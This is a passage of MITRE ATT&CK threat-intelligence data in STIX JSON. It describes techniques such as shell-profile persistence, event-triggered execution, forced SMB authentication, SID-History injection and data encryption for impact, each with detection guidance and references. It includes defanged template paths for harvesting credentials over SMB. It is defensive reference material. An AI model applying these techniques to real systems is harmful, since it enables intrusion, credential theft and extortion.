Creation"],"type":"attack-pattern","id":"attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1201","external_id":"T1201"},{"source_name":"AWS GetPasswordPolicy","description":"Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.","url":"https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html"},{"source_name":"Jamf User Password Policies","description":"Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.","url":"https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"},{"source_name":"Superuser Linux Password Policies","description":"Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.","url":"https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu"},{"source_name":"US-CERT-TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:57:00.731Z","name":"Event Triggered Execution","description":"Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","SaaS","IaaS","Office Suite"],"x_mitre_version":"1.4","x_mitre_data_sources":["Module: Module Load","WMI: WMI Creation","File: File Metadata","File: File Creation","File: File Modification","Windows Registry: Windows Registry Key Modification","Command: Command Execution","Cloud Service: Cloud Service Modification","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","created":"2020-01-22T21:04:23.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546","external_id":"T1546"},{"source_name":"FireEye WMI 2015","description":"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"},{"source_name":"Microsoft DART Case Report 001","description":"Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.","url":"https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team"},{"source_name":"amnesia malware","description":"Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"},{"source_name":"Backdooring an AWS account","description":"Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.","url":"https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9"},{"source_name":"Varonis Power Automate Data Exfiltration","description":"Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.","url":"https://www.varonis.com/blog/power-automate-data-exfiltration"},{"source_name":"Malware Persistence on OS X","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T15:02:24.143Z","name":"Unix Shell Configuration Modification","description":"Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Robert Wilson","Tony Lambert, Red Canary"],"x_mitre_deprecated":false,"x_mitre_detection":"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\n","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"2.1","x_mitre_data_sources":["Process: Process Creation","File: File Creation","Command: Command Execution","File: File Modification"],"x_mitre_permissions_required":["User","Administrator"],"type":"attack-pattern","id":"attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2","created":"2020-01-24T14:13:45.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1546/004","external_id":"T1546.004"},{"source_name":"anomali-linux-rabbit","description":"Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat"},{"source_name":"anomali-rocke-tactics","description":"Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.","url":"https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect"},{"source_name":"Linux manual bash invocation","description":"ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.","url":"https://wiki.archlinux.org/index.php/Bash#Invocation"},{"source_name":"ScriptingOSX zsh","description":"Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.","url":"https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/"},{"source_name":"bencane blog bashrc","description":"Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/"},{"source_name":"macOS MS office sandbox escape","description":"Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.","url":"https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a"},{"source_name":"Magento","description":"Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.","url":"https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html"},{"source_name":"Tsunami","description":"Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.","url":"https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"},{"source_name":"PersistentJXA_leopitt","description":"Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.","url":"https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5"},{"source_name":"code_persistence_zsh","description":"Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.","url":"https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js"},{"source_name":"ESF_filemonitor","description":"Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.","url":"https://objective-see.com/blog/blog_0x48.html"},{"source_name":"intezer-kaiji-malware","description":"Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.","url":"https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:33:34.508Z","name":"Forced Authentication","description":"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Teodor Cimpoesu","Sudhanshu Chauhan, @Sudhanshu_C"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["File: File Access","Network Traffic: Network Traffic Flow","File: File Modification","File: File Creation","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1187","external_id":"T1187"},{"source_name":"Cylance Redirect to SMB","description":"Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.","url":"https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf"},{"source_name":"GitHub Hashjacking","description":"Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.","url":"https://github.com/hob0/hashjacking"},{"source_name":"Microsoft Managing WebDAV Security","description":"Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.","url":"https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"},{"source_name":"Osanda Stealing NetNTLM Hashes","description":"Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.","url":"https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"},{"source_name":"Didier Stevens WebDAV Traffic","description":"Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.","url":"https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"},{"source_name":"US-CERT APT Energy Oct 2017","description":"US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-293A"},{"source_name":"Wikipedia Server Message Block","description":"Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.","url":"https://en.wikipedia.org/wiki/Server_Message_Block"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Alain Homewood, Insomnia Security","Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023","type":"attack-pattern","created":"2020-02-18T18:34:49.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1134.005","url":"https://attack.mitre.org/techniques/T1134/005"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx","description":"Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.","source_name":"Microsoft SID"},{"url":"https://msdn.microsoft.com/library/ms679833.aspx","description":"Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.","source_name":"Microsoft SID-History Attribute"},{"url":"https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems","description":"Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.","source_name":"Microsoft Well Known SIDs Jun 2017"},{"url":"https://technet.microsoft.com/library/ee617241.aspx","description":"Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.","source_name":"Microsoft Get-ADUser"},{"url":"https://adsecurity.org/?p=1772","description":"Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.","source_name":"AdSecurity SID History Sept 2015"},{"url":"https://msdn.microsoft.com/library/ms677982.aspx","description":"Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.","source_name":"Microsoft DsAddSidHistory"}],"modified":"2021-02-09T15:49:58.414Z","name":"SID-History Injection","description":"Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Examine data in user’s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Object Modification","Process: OS API Execution","User Account: User Account Metadata"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166","created":"2020-10-19T16:08:29.817Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1599","url":"https://attack.mitre.org/techniques/T1599"},{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.","modified":"2022-05-05T05:05:44.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Network Boundary Bridging","x_mitre_detection":"Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\n\nMonitor the border network device’s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_defense_bypassed":["Firewall","System Access Controls"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oleg Kolesnikov, Securonix","Mayuresh Dani, Qualys","Harshal Tupsamudre, Qualys","Travis Smith, Qualys","ExtraHop"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","created":"2019-03-15T13:59:30.390Z","x_mitre_version":"1.4","external_references":[{"source_name":"mitre-attack","external_id":"T1486","url":"https://attack.mitre.org/techniques/T1486"},{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"FireEye WannaCry 2017","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019."},{"source_name":"Rhino S3 Ransomware Part 1","url":"https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/","description":"Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021."},{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."},{"source_name":"US-CERT Ransomware 2016","url":"https://www.us-cert.gov/ncas/alerts/TA16-091A","description":"US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019."},{"source_name":"US-CERT NotPetya 2017","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."},{"source_name":"US-CERT SamSam 2018","url":"https://www.us-cert.gov/ncas/alerts/AA18-337A","description":"US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)","modified":"2022-06-16T13:07:10.318Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Data Encrypted for Impact","x_mitre_detection":"Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\n\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["File: File Modification","Cloud Storage: Cloud Storage Modification","Network Share: Network Share Access","File: File Creation","Command: Command Execution","Process: Process Creation"],"x_mitre_impact_type":["Availability"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7","type":"attack-pattern","created":"2019-03-29T14:59:50.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1488","url":"https://attack.mitre.org/techniques/T1488"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"},{"source_name":"DOJ Lazarus Sony 2018","url":"https://www.justice.gov/opa/press-release/file/1092091/download","description":"Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}],"modified":"2020-02-20T22:07:27.495Z","name":"Disk 